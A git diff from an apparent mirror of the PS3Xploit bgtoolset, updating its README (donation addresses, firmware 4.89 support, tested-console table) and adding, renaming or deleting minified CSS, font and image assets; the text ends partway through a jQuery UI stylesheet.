diff --git a/README.md b/README.md index eacf519..8e53c6f 100644 --- a/README.md +++ b/README.md @@ -3,12 +3,12 @@ This is a dump of excellent Ps3xploit Team [bgtoolset](https://www.ps3xploit.net/bgtoolset/). **I'm not an author of any of these tools**, all credits go to Ps3xploit team. If you find these tools useful, please consider a donation via Paypal at team@ps3xploit.net or in BTC at either of the addresses below: -|       ![Legacy P2PKH](assets/images/qr-legacy-P2PKH.png)       |       ![Segwit BECH32](assets/images/qr-native-segwit-BECH32.png)       |       ![PayNyms](assets/images/qr-PayNyms.png)       | -|:---:|:---:|:---:| -| Legacy P2PKH | Segwit BECH32 | PayNyms | +|       ![Legacy P2PKH](assets/images/qr-legacy-P2PKH.png)       |       ![Segwit BECH32](assets/images/qr-native-segwit-BECH32.png)       |       ![ERC20](assets/images/qr-eth-erc20.png)       |       ![ERC20](assets/images/qr-usdt-erc20.png)       | +|:---:|:---:|:---:|:---:| +| Legacy P2PKH | Segwit BECH32 | ERC20 | ERC20 |

-Supported versions: 4.80 - 4.88 +Supported versions: 4.80 - 4.89

## IMPORTANT INFO, please read carefuly. @@ -18,21 +18,26 @@ website goes down. - **Use this mirror as a last resort** - you should always go to [bgtoolset page](https://www.ps3xploit.me/) first, and use tools provided there. Not only they are more reliable, and written by people who actually know what they're doing - they're also always up to date. - **I'm not responsible for any damage you may do to your console**. This stuff if used inproperly, can brick your PS3. -- Some people tested this dump on their consoles, and it worked without any issues. However I do not guarantee that it will work for you. See [Tested consoles][#tested-consoles]. +- Some people tested this dump on their consoles, and it worked without any issues. However I do not guarantee that it will work for you. See [Tested consoles](#tested-consoles). - I'm not providing any info how to use this locally, if you don't know it - you probably shouldn't do this. - It's not a full dump, I only focused on happy path, of flashing PS3. Memory editor probably wouldn't work, logs are also not reliable. Original toolset uses `*.php` files, - which (for obvious reasons) I couldn't dump, so most of them are just plain HTML output of the scripts. The `file3.php` is my dummy, minimal implementation which makes all this stuff work. + which (for obvious reasons) I couldn't dump, so most of them are just plain HTML output of the scripts. The `file.php` is my dummy, minimal implementation which makes all this stuff work. ## Tested consoles -| Variant | Model | Firmware | Status | Source | -|---------|------------|----------|:------:|---------------------------------------------------------------------| -| SLIM | CECH-2503B | 4.88 | ✅ | E-mail info | -| SLIM | CECH-2504 | 4.88 | ✅ | [Twitter](https://twitter.com/leerz25/status/1555749812988809216#m) | -| FAT | CECH-J03 | 4.87 | ✅ | ajgon | -| FAT | CECH-L04 | 4.86 | ✅ | [GitHub Issue](https://github.com/ajgon/bgtoolset/issues/7) | -| SLIM | CECH-2004A | 4.86 | ✅ | E-mail info | -| SLIM | CECH-2004B | 4.86 | ✅ | [GitHub Issue](https://github.com/ajgon/bgtoolset/issues/7) | +Bear in mind, with every new firmware release, whole tool changes and needs to be redumped from ps3xploit again. Because of that, +column `Commit` points to the commit (a point in time) which was most recent, when these tests are performed. + +Double check this, since "works on this model" actually means "worked back then". + +| Variant | Model | Firmware | Status | Commit | Source | +|---------|------------|----------|:------:|:---------------------------------------------------------------------------------------------:|----------------------------------------------------------------------------------------------------------| +| SLIM | CECH-2503B | 4.88 | ✅ | [68f4c41](https://github.com/ajgon/bgtoolset/commit/68f4c41c68178e4e33ac2ef36650468e5111dc7d) | E-mail info | +| SLIM | CECH-2504 | 4.88 | ✅ | [68f4c41](https://github.com/ajgon/bgtoolset/commit/68f4c41c68178e4e33ac2ef36650468e5111dc7d) | [Twitter](https://twitter.com/leerz25/status/1555749812988809216#m) | +| FAT | CECH-J03 | 4.87 | ✅ | [68f4c41](https://github.com/ajgon/bgtoolset/commit/68f4c41c68178e4e33ac2ef36650468e5111dc7d) | ajgon | +| FAT | CECH-L04 | 4.86 | ✅ | [68f4c41](https://github.com/ajgon/bgtoolset/commit/68f4c41c68178e4e33ac2ef36650468e5111dc7d) | [GitHub Issue](https://github.com/ajgon/bgtoolset/issues/7) | +| SLIM | CECH-2004A | 4.86 | ✅ | [68f4c41](https://github.com/ajgon/bgtoolset/commit/68f4c41c68178e4e33ac2ef36650468e5111dc7d) | E-mail info | +| SLIM | CECH-2004B | 4.86 | ✅ | [68f4c41](https://github.com/ajgon/bgtoolset/commit/68f4c41c68178e4e33ac2ef36650468e5111dc7d) | [GitHub Issue](https://github.com/ajgon/bgtoolset/issues/7) | ## Contributors diff --git a/assets/css/mCustomScrollbar.pmin.css b/assets/css/mCustomScrollbar.min.css similarity index 100% rename from assets/css/mCustomScrollbar.pmin.css rename to assets/css/mCustomScrollbar.min.css diff --git a/assets/css/main.min.css b/assets/css/main.min.css new file mode 100644 index 0000000..50f8fce --- /dev/null +++ b/assets/css/main.min.css @@ -0,0 +1 @@ +html{margin:0;padding:0;font-size:12px;background-color:#fff}body{width:90%;margin:10px auto;padding:0;border:0 none #000}h1{font-size:2em}h2{font-size:1.8em}iframe{width:1024px;height:400px;display:none}table{border-spacing:0;border-width:0}div.ui-tooltip{display:inline-block;width:auto;max-width:400px;word-break:break-all}.main-title{padding:0 5px 5px}.ps3-details{position:absolute;right:7%;top:0;height:auto;font-size:16px}.icon-scissors{background-position:-144px -128px!important}.icon-copy{background-position:-176px -128px!important}.icon-clipboard{background-position:-160px -128px!important}.icon-refresh{background-position:-64px -80px!important}.icon-transfer-e-w{background-position:-96px -80px!important}.icon-transferthick-e-w{background-position:-112px -80px!important}.icon-circle-arrow-s{background-position:-128px -192px!important}.icon-signal-diag{background-position:-16px -176px!important}.icon-circle-check{background-position:-208px -192px!important}.icon-trash{background-position:-176px -96px!important}.icon-pencil{background-position:-64px -112px!important}.icon-comment{background-position:-128px -96px!important}.icon-folder-collapsed{background-position:0 -96px!important}.icon-folder-open{background-position:-16px -96px!important}.icon-document{background-position:-32px -96px!important}.icon-gear{background-position:-192px -112px!important}.icon-link{background-position:-240px -112px!important}.icon-disk{background-position:-96px -112px!important}.icon-play{background-position:0 -160px!important}.icon-locked{background-position:-192px -96px!important}.icon-unlocked{background-position:-208px -96px!important}.main-tabs{min-height:769px;max-height:769px}.tb-log{margin:-10px 20px 0}.tab-header{padding-top:5px;padding-left:4%;padding-right:8%}.header-tiny-text{font-size:8px}.header-small-text{font-size:12px}.header-normal-text{font-size:14px}.sys-table{table-layout:fixed;border:0;padding:0;margin:-5px 0 0}.pointer{cursor:pointer}.tab-icon{margin-left:5px}.qr-resize{width:100px;height:100px}.pl{opacity:0}.sizer{display:block;position:relative;word-break:normal;width:98%;padding-left:2%}.spinner-go-button{padding-top:1px}.nopad{padding:0!important}.switch-wrapper{display:inline-block;position:relative;top:2px;min-width:200px;width:200px}div.dir-table-300{width:300px;display:table;table-layout:fixed;border-collapse:collapse;border:0;padding:0;margin:0;overflow:hidden}div.dir-table-250{width:250px;display:table;table-layout:fixed;border-collapse:collapse;border:0;padding:0;margin:0;overflow:hidden}div.dir-table{width:100%;display:table;table-layout:fixed;border-collapse:collapse;border:0;padding:0;margin:0;overflow:hidden}.intro-table{max-height:600px;height:550px;padding-left:4%;width:100%}.box-table{position:relative;display:table;padding-top:10px;width:92%;height:500px;max-height:520px}.box-row{position:relative;width:100%;max-width:100%}.box-table-250{position:relative;display:table;padding-top:10px;width:92%;height:250px;max-height:250px}.container-qr{position:relative;padding-top:25px;width:100%;max-width:100%}.box-table-180{position:relative;table-layout:fixed;padding-left:8%;display:table;width:90%;height:150px;max-height:150px}.box-cell-33{display:table-cell;text-align:center;vertical-align:middle;width:85px;min-width:85px;padding:2px 10px;text-align:center}.box-cell-33b{display:table-cell;text-align:center;vertical-align:middle;width:85px;min-width:85px;padding:2px 10px 2px 8px;text-align:center}.box-cell{display:table-cell;width:100%;text-align:center;vertical-align:middle;padding:0 10px}.box-cell-70{display:table-cell;width:66%;max-width:600px;text-align:center;vertical-align:middle;padding:0 10px 0 5px}.box-cell-30{display:table-cell;width:20%;text-align:center;vertical-align:middle;padding:0 10px 0 0}div.dir-table-auto{width:100%;display:table;table-layout:auto;border-collapse:collapse;border:0;padding:0;margin:0;overflow:hidden}span.dir-left-port{display:table-cell;text-align:left;vertical-align:middle;width:88%;overflow:hidden}span.dir-left-udp{display:table-cell;text-align:left;vertical-align:middle;padding-left:2%;width:88%;overflow:hidden}span.dir-left{display:table-cell;text-align:left;vertical-align:middle;padding-left:6%;width:94%;overflow:hidden}span.dir-right{display:table-cell;text-align:right;vertical-align:middle;padding-right:6%;width:94%;overflow:hidden}span.dir-ume{display:table-cell;text-align:right;vertical-align:middle;padding-right:6%;width:33%;overflow:hidden}span.dir-center{display:table-cell;text-align:center;vertical-align:middle;overflow:hidden;padding-left:3%;padding-right:3%;width:94%;min-width:200px}span.dir-right-fixed{display:table-cell;text-align:right;vertical-align:middle;overflow:hidden;width:230px;padding-left:4%}span.dir-left-smallpad{display:table-cell;text-align:left;vertical-align:middle;overflow:hidden;padding-left:4%}span.dir-right-smallpad{display:table-cell;text-align:right;vertical-align:middle;overflow:hidden}.header-spacer{display:table-cell;width:33%;min-width:33%}.cell-spacer{width:25px;min-width:25px}.align-right:{text-align:right}.align-center:{text-align:center!important}.dg-text{padding-left:10px}.table-padup{margin:70px 20px 0}.scroll-dialog-box{margin:1em 0;height:250px;width:100%}.diag-dldialog-path{margin:1.5em 0 .5em;padding-left:.5em;vertical-align:middle;width:98%;min-height:30px;min-height:10px;font-weight:700}.diag-dsdialog-ipt{margin:.5em 0 0;width:99%;height:20px;max-height:20px;vertical-align:middle;padding-left:.5em}.diag-dtree{margin:.5em 0 1.5em 1.5em;height:auto;min-height:220px;width:94%;min-width:320px}.ldialog-path{padding-top:.5em;vertical-align:middle;width:98%;font-size:16px;font-weight:700}.fm-container{padding:10px 50px}.fm-tree{border:0!important;padding-top:1em;font-size:14px;font-weight:700;margin:auto;height:300px;min-height:300px;max-height:315px;width:100%;min-width:100%;max-width:100%}.fm-label{font-size:16px;font-weight:700;margin:auto;height:auto;max-height:35px;width:auto;max-width:100%;padding:5px 0 5px 5px}.fm-pad{height:20px;max-height:20px;width:auto;max-width:100%}.df{width:92%;margin:1em 1em 1.5em 1.5em}.dfp{width:96%;max-width:515px;height:88%;max-height:340px;margin:1em .5em .5em .7em}.dsfp{width:96%;max-width:515px;height:80%;max-height:210px;margin:1em .5em .5em .7em}.diag-plfm-dstatus{margin-top:1.5em;margin-bottom:1.5em;padding:5px 10px}.diag-dprogressbar{margin-top:1em;margin-bottom:1em}.diag-gsfmprogressbar{margin-top:1em;margin-bottom:.25em}.diag-gfmprogressbar{margin-top:1em;margin-bottom:1.5em}.diag-plsfm-gstatus{margin-top:0;margin-bottom:1.5em;padding:5px 10px}.diag-plfm-gstatus{margin-top:0;margin-bottom:1.5em;padding:5px 10px}.diag-sfm-cont-status{width:90%;height:32px}.diag-fm-cont-status{width:90%;height:32px}.diag-dsfmProgress{position:relative;width:100%;height:100px;font-size:12px;font-weight:700;z-index:9999}.diag-dfmProgress{position:relative;width:100%;height:100px;font-size:12px;font-weight:700;z-index:9999}.diag-dsfm-status{width:86%;margin-top:.5em;margin-bottom:0;padding:5px 10px;font-size:14px}.diag-dfm-status{width:86%;margin-top:.5em;margin-bottom:0;padding:5px 10px;font-size:14px}.icon-status{width:32px;height:32px;position:relative;left:93%;top:-29px}.success-image{background:url(assets/images/success.png)}.error-image{background:url(assets/images/error.png)}.notice-image{background:url(assets/images/notice.png)}.warning-image{background:url(assets/images/warning.png)}.sfont{color:#fff;text-shadow:-1px -1px 0 #000,1px -1px 0 #000,-1px 1px 0 #000,1px 1px 0 #000}.cont-user-mode{position:absolute;right:12%;width:18%;top:9%}.user-mode{width:100%}.dl-frame{display:none}.no-close .ui-dialog-titlebar-close{display:none}.txt-center{text-align:center;float:none;position:relative;display:block;width:98%}.hexipt{left:32%;position:absolute}.hexdiv{text-align:center;width:auto}.preset-selector{left:55%;position:absolute}.hexfs{position:absolute;width:100%;padding:35px 0 0;top:89%}.ui-spinner-input{width:475px;font-weight:700;font-size:14px;padding:2px 0 0 3px}.cont-spinner{left:5%;top:-20px;position:relative}.hexeditor{width:98%;padding:2% 2% 2% 4%}.x-table{width:94%;table-layout:fixed;padding:0;margin:0;border:0}.ipt-offset{width:auto}.cell-data{border:0;margin:0;width:99%;height:24px;max-height:24px}.cell-row{width:99%;height:25px;max-height:25px}.cell-offset{width:100px}.cell-ascii{width:18%}.cell-value{width:18%}.cell-header{text-align:center;height:25px;max-height:25px}.ascii{font-family:'ConsolaMonoBold';font-weight:700;font-style:normal;font-size:12px;width:100%;height:100%;max-height:100%}.baloo-header{padding-left:5px;font-size:14px}.top2px{position:relative;top:2px}.top3px{position:relative;top:3px}.labport{padding-right:5px}.align-right{text-align:right}.wrap-don{position:relative;width:90%;padding-top:2%;padding-left:5%;font-size:14px;font-weight:700;height:auto;max-width:90%}.pad-sig{position:relative;padding-top:5px;padding-left:50%;padding-right:5%;width:45%;height:auto}.max-width-160{max-width:160px}.max-width-140{max-width:142px}.width-600{max-width:600px;min-width:600px;width:600px;padding-left:50px}.max-height-620{height:620px;max-height:620px}.height-5px{height:5px;font-size:6pt}.min-width-160{min-width:160px}.min-width-140{min-width:142px}.min-width-120{min-width:120px}.min-width-200{min-width:200px}.min-width-210{min-width:210px}.min-width-410{min-width:450px}.min-width-550{min-width:550px}.top-1px{position:relative;top:1px}.top-2px{position:relative;top:2px;width:25%}.me-sizer{position:relative;width:96%;padding-left:2%}.port{width:50px;text-align:center;vertical-align:middle;padding-top:1px}.container-busy-icon{position:absolute;padding-top:25px;padding-left:16px;min-width:16px;width:16px;min-height:11px;height:11px;text-align:center}.busy-icon{position:relative;width:16px;height:11px;background-image:url(assets/images/busy_icon.gif)}.container-loading-bar{position:absolute;padding-top:30%;padding-left:40%;width:20%;height:5%;text-align:center}.loading-bar{position:relative;left:12%;width:128px;height:15px}.loading-error{position:relative;left:44%;width:32px;height:32px;background:url(assets/images/error.png)}.pad-bottom-10px{padding-bottom:10px;width:200px}.pad-left-4pct{padding-left:4%}.pad-left-3pct{padding-left:3%}.fmm-compat{padding-left:1%;font-size:22px;width:30px;min-width:30px;max-width:30px}.main-title{max-height:92px!important;min-height:92px!important;height:92px!important} \ No newline at end of file diff --git a/assets/css/main.pmin.css b/assets/css/main.pmin.css deleted file mode 100644 index 0e5cfd2..0000000 --- a/assets/css/main.pmin.css +++ /dev/null @@ -1 +0,0 @@ -html{margin:0;padding:0;font-size:12px;background-color:#fff}body{width:90%;margin:10px auto;padding:0 0 0 0;border:0 none #000}h1{font-size:2em}h2{font-size:1.8em}iframe{width:1024px;height:400px;display:none}table{border-spacing:0;border-width:0}div.ui-tooltip{display:inline-block;width:auto;max-width:400px;word-break:break-all}.main-title{padding:0 5px 5px 5px}.ps3-details{position:absolute;right:7%;top:0;height:auto;font-size:16px}.icon-scissors{background-position:-144px -128px!important}.icon-copy{background-position:-176px -128px!important}.icon-clipboard{background-position:-160px -128px!important}.icon-refresh{background-position:-64px -80px!important}.icon-transfer-e-w{background-position:-96px -80px!important}.icon-transferthick-e-w{background-position:-112px -80px!important}.icon-circle-arrow-s{background-position:-128px -192px!important}.icon-signal-diag{background-position:-16px -176px!important}.icon-circle-check{background-position:-208px -192px!important}.icon-trash{background-position:-176px -96px!important}.icon-pencil{background-position:-64px -112px!important}.icon-comment{background-position:-128px -96px!important}.icon-folder-collapsed{background-position:0 -96px!important}.icon-folder-open{background-position:-16px -96px!important}.icon-document{background-position:-32px -96px!important}.icon-gear{background-position:-192px -112px!important}.icon-link{background-position:-240px -112px!important}.icon-disk{background-position:-96px -112px!important}.icon-play{background-position:0 -160px!important}.icon-locked{background-position:-192px -96px!important}.icon-unlocked{background-position:-208px -96px!important}.main-tabs{min-height:769px;max-height:769px}.tb-log{margin:-10px 20px 0 20px}.tab-header{padding-top:5px;padding-left:4%;padding-right:8%}.header-tiny-text{font-size:8px}.header-small-text{font-size:12px}.header-normal-text{font-size:14px}.sys-table{table-layout:fixed;border:0;padding:0 0 0 0;margin:-5px 0 0 0}.pointer{cursor:pointer}.tab-icon{margin-left:5px}.qr-resize{width:100px;height:100px%}.pl{opacity:0}.sizer{display:block;position:relative;word-break:normal;width:98%;padding-left:2%}.spinner-go-button{padding-top:1px}.nopad{padding:0 0 0 0!important}.switch-wrapper{display:inline-block;position:relative;top:2px;min-width:200px;width:200px}div.dir-table-300{width:300px;display:table;table-layout:fixed;border-collapse:collapse;border:0;padding:0 0 0 0;margin:0 0 0 0;overflow:hidden}div.dir-table-250{width:250px;display:table;table-layout:fixed;border-collapse:collapse;border:0;padding:0 0 0 0;margin:0 0 0 0;overflow:hidden}div.dir-table{width:100%;display:table;table-layout:fixed;border-collapse:collapse;border:0;padding:0 0 0 0;margin:0 0 0 0;overflow:hidden}.intro-table{max-height:600px;height:550px;padding-left:4%;width:100%}.box-table{position:relative;display:table;padding-top:10px;width:92%;height:500px;max-height:520px}.box-row{position:relative;width:100%;max-width:100%}.box-table-250{position:relative;display:table;padding-top:10px;width:92%;height:250px;max-height:250px}.container-qr{position:relative;padding-top:25px;width:100%;max-width:100%}.box-table-180{position:relative;table-layout:fixed;padding-left:10%;display:table;width:90%;height:170px;max-height:170px}.box-cell-33{display:table-cell;text-align:center;vertical-align:middle;width:2%;padding:0 10px 0 10px;text-align:center}.box-cell{display:table-cell;width:100%;text-align:center;vertical-align:middle;padding:0 10px 0 10px}.box-cell-70{display:table-cell;width:66%;max-width:600px;text-align:center;vertical-align:middle;padding:0 10px 0 5px}.box-cell-30{display:table-cell;width:20%;text-align:center;vertical-align:middle;padding:0 10px 0 0}div.dir-table-auto{width:100%;display:table;table-layout:auto;border-collapse:collapse;border:0;padding:0 0 0 0;margin:0 0 0 0;overflow:hidden}span.dir-left-port{display:table-cell;text-align:left;vertical-align:middle;width:88%;overflow:hidden}span.dir-left-udp{display:table-cell;text-align:left;vertical-align:middle;padding-left:2%;width:88%;overflow:hidden}span.dir-left{display:table-cell;text-align:left;vertical-align:middle;padding-left:6%;width:94%;overflow:hidden}span.dir-right{display:table-cell;text-align:right;vertical-align:middle;padding-right:6%;width:94%;overflow:hidden}span.dir-ume{display:table-cell;text-align:right;vertical-align:middle;padding-right:6%;width:33%;overflow:hidden}span.dir-center{display:table-cell;text-align:center;vertical-align:middle;overflow:hidden;padding-left:3%;padding-right:3%;width:94%;min-width:200px}span.dir-right-fixed{display:table-cell;text-align:right;vertical-align:middle;overflow:hidden;width:230px;padding-left:4%}span.dir-left-smallpad{display:table-cell;text-align:left;vertical-align:middle;overflow:hidden;padding-left:4%}span.dir-right-smallpad{display:table-cell;text-align:right;vertical-align:middle;overflow:hidden}.header-spacer{display:table-cell;width:33%;min-width:33%}.cell-spacer{width:25px;min-width:25px}.align-right:{text-align:right}.align-center:{text-align:center!important}.dg-text{padding-left:10px}.table-padup{margin:70px 20px 0 20px}.scroll-dialog-box{margin:1em 0 1em 0;height:250px;width:100%}.diag-dldialog-path{margin:1.5em 0 .5em 0;padding-left:.5em;vertical-align:middle;width:98%;min-height:30px;min-height:10px;font-weight:700}.diag-dsdialog-ipt{margin:.5em 0 0 0;width:99%;height:20px;max-height:20px;vertical-align:middle;padding-left:.5em}.df{width:92%;margin:1em 1em 1.5em 1.5em}.diag-dtree{margin:.5em 0 1.5em 1.5em;height:auto;min-height:220px;width:94%;min-width:320px}.ldialog-path{padding-top:.5em;vertical-align:middle;width:98%;font-size:16px;font-weight:700}.fm-container{padding:10px 50px}.fm-tree{border:0!important;padding-top:1em;font-size:14px;font-weight:700;margin:auto;height:300px;min-height:300px;max-height:315px;width:100%;min-width:100%;max-width:100%}.fm-label{font-size:16px;font-weight:700;margin:auto;height:auto;max-height:35px;width:auto;max-width:100%;padding:5px 0 5px 5px}.fm-pad{height:20px;max-height:20px;width:auto;max-width:100%}.diag-plfm-gstatus{margin-top:1em;margin-bottom:1.5em;padding:5px 10px}.diag-plfm-dstatus{margin-top:1em;margin-bottom:1.5em;padding:5px 10px}.diag-gfmprogressbar{margin-top:1em;margin-bottom:1.5em}.diag-dprogressbar{margin-top:1em;margin-bottom:1.5em}.diag-fm-cont-status{width:90%;height:32px}.diag-fmProgress{position:relative;width:100%;height:100px;font-size:12px;font-weight:700;z-index:9999}.diag-fm-status{margin-top:1em;margin-bottom:1.5em;padding:5px 10px;font-size:14px}.success-image{background:url(assets/images/success.png)}.error-image{background:url(assets/images/error.png)}.notice-image{background:url(assets/images/notice.png)}.warning-image{background:url(assets/images/warning.png)}.sfont{color:white;text-shadow:-1px -1px 0 #000,1px -1px 0 #000,-1px 1px 0 #000,1px 1px 0 #000}.icon-status{width:32px;height:32px;position:relative;left:103%;top:-53px}.cont-user-mode{position:absolute;right:12%;width:18%;top:9%}.user-mode{width:100%}.dl-frame{display:none}.no-close .ui-dialog-titlebar-close{display:none}.txt-center{text-align:center;float:none;position:relative;display:block;width:98%}.hexipt{left:32%;position:absolute}.hexdiv{text-align:center;width:auto}.preset-selector{left:55%;position:absolute}.hexfs{position:absolute;width:100%;padding:35px 0 0 0;top:89%}.ui-spinner-input{width:475px;font-weight:700;font-size:14px;padding:2px 0 0 3px}.cont-spinner{left:5%;top:-20px;position:relative}.hexeditor{width:98%;padding:2% 2% 2% 4%}.x-table{width:94%;table-layout:fixed;padding:0 0 0 0;margin:0 0 0 0;border:0}.ipt-offset{width:auto}.cell-data{border:0;margin:0 0 0 0;width:99%;height:24px;max-height:24px}.cell-row{width:99%;height:25px;max-height:25px}.cell-offset{width:100px}.cell-ascii{width:18%}.cell-value{width:18%}.cell-header{text-align:center;height:25px;max-height:25px}.ascii{font-family:'Space Mono';font-size:12px;width:100%;height:100%;max-height:100%}.baloo-header{padding-left:5px;font-size:14px}.top2px{position:relative;top:2px}.top3px{position:relative;top:3px}.labport{padding-right:5px}.align-right{text-align:right}.wrap-don{position:relative;width:90%;padding-top:2%;padding-left:5%;font-size:14px;font-weight:700;height:auto;max-width:90%}.pad-sig{position:relative;padding-top:5px;padding-left:50%;padding-right:5%;width:45%;height:auto}.max-width-160{max-width:160px}.max-width-140{max-width:142px}.width-600{max-width:600px;min-width:600px;width:600px;padding-left:15px}.max-height-620{height:620px;max-height:620px}.height-5px{height:5px;font-size:6pt}.min-width-160{min-width:160px}.min-width-140{min-width:142px}.min-width-120{min-width:120px}.min-width-200{min-width:200px}.min-width-210{min-width:210px}.min-width-410{min-width:450px}.min-width-550{min-width:550px}.top-1px{position:relative;top:1px}.top-2px{position:relative;top:2px;width:25%}.me-sizer{position:relative;width:96%;padding-left:2%}.port{width:50px;text-align:center;vertical-align:middle;padding-top:1px}.container-busy-icon{position:absolute;padding-top:25px;padding-left:16px;min-width:16px;width:16px;min-height:11px;height:11px;text-align:center}.busy-icon{position:relative;width:16px;height:11px;background-image:url(assets/images/busy_icon.gif)}.container-loading-bar{position:absolute;padding-top:30%;padding-left:40%;width:20%;height:5%;text-align:center}.loading-bar{position:relative;left:12%;width:128px;height:15px}.loading-error{position:relative;left:44%;width:32px;height:32px;background:url(assets/images/error.png)}.pad-bottom-10px{padding-bottom:10px;width:200px}.pad-left-4pct{padding-left:4%}.pad-left-3pct{padding-left:3%}.fmm-compat{padding-left:1%;font-size:22px;width:30px;min-width:30px;max-width:30px} \ No newline at end of file diff --git a/assets/fonts/forkawesome-webfont.woff b/assets/fonts/forkawesome-webfont.woff deleted file mode 100644 index 477da44..0000000 Binary files a/assets/fonts/forkawesome-webfont.woff and /dev/null differ diff --git a/assets/fonts/forkawesome-webfont.woff2 b/assets/fonts/forkawesome-webfont.woff2 deleted file mode 100644 index f3520b5..0000000 Binary files a/assets/fonts/forkawesome-webfont.woff2 and /dev/null differ diff --git a/assets/images/mCSB_buttons.png b/assets/images/mCSB_buttons.png new file mode 100644 index 0000000..985a9b8 Binary files /dev/null and b/assets/images/mCSB_buttons.png differ diff --git a/assets/images/qr-PayNyms.png b/assets/images/qr-PayNyms.png deleted file mode 100644 index 59fc412..0000000 Binary files a/assets/images/qr-PayNyms.png and /dev/null differ diff --git a/assets/images/qr-eth-erc20.png b/assets/images/qr-eth-erc20.png new file mode 100644 index 0000000..e7bbba6 Binary files /dev/null and b/assets/images/qr-eth-erc20.png differ diff --git a/assets/images/qr-usdt-erc20.png b/assets/images/qr-usdt-erc20.png new file mode 100644 index 0000000..78c2928 Binary files /dev/null and b/assets/images/qr-usdt-erc20.png differ diff --git a/assets/jqueryui/eggplant/jquery-ui.min.css b/assets/jqueryui/eggplant/jquery-ui.min.css new file mode 100644 index 0000000..924c5b3 --- /dev/null +++ b/assets/jqueryui/eggplant/jquery-ui.min.css @@ -0,0 +1 @@ +.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:before,.ui-helper-clearfix:after{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important;pointer-events:none}.ui-icon{display:inline-block;vertical-align:middle;margin-top:-.25em;position:relative;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-icon-block{left:50%;margin-left:-8px;display:block}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.ui-accordion .ui-accordion-header{display:block;cursor:pointer;position:relative;margin:2px 0 0;padding:.5em .5em .5em .7em;font-size:100%}.ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;overflow:auto}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default}.ui-menu{list-style:none;padding:0;margin:0;display:block;outline:0}.ui-menu .ui-menu{position:absolute}.ui-menu .ui-menu-item{margin:0;cursor:pointer;list-style-image:url(assets/jqueryui/eggplant/images/list-style.gif)}.ui-menu .ui-menu-item-wrapper{position:relative;padding:3px 1em 3px .4em}.ui-menu .ui-menu-divider{margin:5px 0;height:0;font-size:0;line-height:0;border-width:1px 0 0}.ui-menu .ui-state-focus,.ui-menu .ui-state-active{margin:-1px}.ui-menu-icons{position:relative}.ui-menu-icons .ui-menu-item-wrapper{padding-left:2em}.ui-menu .ui-icon{position:absolute;top:0;bottom:0;left:.2em;margin:auto 0}.ui-menu .ui-menu-icon{left:auto;right:0}.ui-button{padding:.4em 1em;display:inline-block;position:relative;line-height:normal;margin-right:.1em;cursor:pointer;vertical-align:middle;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;overflow:visible}.ui-button,.ui-button:link,.ui-button:visited,.ui-button:hover,.ui-button:active{text-decoration:none}.ui-button-icon-only{width:2em;box-sizing:border-box;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-button-icon-only{text-indent:0}.ui-button-icon-only .ui-icon{position:absolute;top:50%;left:50%;margin-top:-8px;margin-left:-8px}.ui-button.ui-icon-notext .ui-icon{padding:0;width:2.1em;height:2.1em;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-icon-notext .ui-icon{width:auto;height:auto;text-indent:0;white-space:normal;padding:.4em 1em}input.ui-button::-moz-focus-inner,button.ui-button::-moz-focus-inner{border:0;padding:0}.ui-controlgroup{vertical-align:middle;display:inline-block}.ui-controlgroup>.ui-controlgroup-item{float:left;margin-left:0;margin-right:0}.ui-controlgroup>.ui-controlgroup-item:focus,.ui-controlgroup>.ui-controlgroup-item.ui-visual-focus{z-index:9999}.ui-controlgroup-vertical>.ui-controlgroup-item{display:block;float:none;width:100%;margin-top:0;margin-bottom:0;text-align:left}.ui-controlgroup-vertical .ui-controlgroup-item{box-sizing:border-box}.ui-controlgroup .ui-controlgroup-label{padding:.4em 1em}.ui-controlgroup .ui-controlgroup-label span{font-size:80%}.ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item{border-left:none}.ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item{border-top:none}.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content{border-right:none}.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content{border-bottom:none}.ui-controlgroup-vertical .ui-spinner-input{width:75%;width:calc(100% - 2.4em)}.ui-controlgroup-vertical .ui-spinner .ui-spinner-up{border-top-style:solid}.ui-checkboxradio-label .ui-icon-background{-webkit-box-shadow:inset 1px 1px 1px #ccc;-webkit-border-radius:.12em;border:none}.ui-checkboxradio-radio-label .ui-icon-background{width:16px;height:16px;-webkit-border-radius:1em;overflow:visible;border:none}.ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon,.ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon{background-image:none;width:8px;height:8px;border-width:4px;border-style:solid}.ui-checkboxradio-disabled{pointer-events:none}.ui-datepicker{width:17em;padding:.2em .2em 0;display:none}.ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0}.ui-datepicker .ui-datepicker-prev,.ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em}.ui-datepicker .ui-datepicker-prev-hover,.ui-datepicker .ui-datepicker-next-hover{top:1px}.ui-datepicker .ui-datepicker-prev{left:2px}.ui-datepicker .ui-datepicker-next{right:2px}.ui-datepicker .ui-datepicker-prev-hover{left:1px}.ui-datepicker .ui-datepicker-next-hover{right:1px}.ui-datepicker .ui-datepicker-prev span,.ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.ui-datepicker select.ui-datepicker-month,.ui-datepicker select.ui-datepicker-year{width:45%}.ui-datepicker 